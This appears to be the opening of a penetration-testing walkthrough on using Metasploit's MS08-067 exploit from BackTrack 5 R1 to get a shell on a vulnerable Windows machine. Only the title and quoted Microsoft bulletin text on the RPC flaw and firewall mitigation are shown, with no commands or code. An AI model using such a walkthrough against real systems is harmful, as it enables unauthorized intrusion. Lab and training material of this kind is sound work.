(Metasploit: MS08-067)

{ BackTrack5R1: Establishing A Shell To The Vulnerable Machine }

1. http://www.microsoft.com/technet/security/bulletin/ms08-067.mspx
   • The vulnerability could allow remote code execution if an affected system received a specially crafted RPC request. On Microsoft Windows 2000, Windows XP, and Windows Server 2003 systems, an attacker could exploit this vulnerability without authentication to run arbitrary code. It is possible that this vulnerability could be used in the crafting of a wormable exploit.
   • Firewall best practices and standard default firewall configurations can help protect network resources from attacks that originate outside the enterprise perimeter.
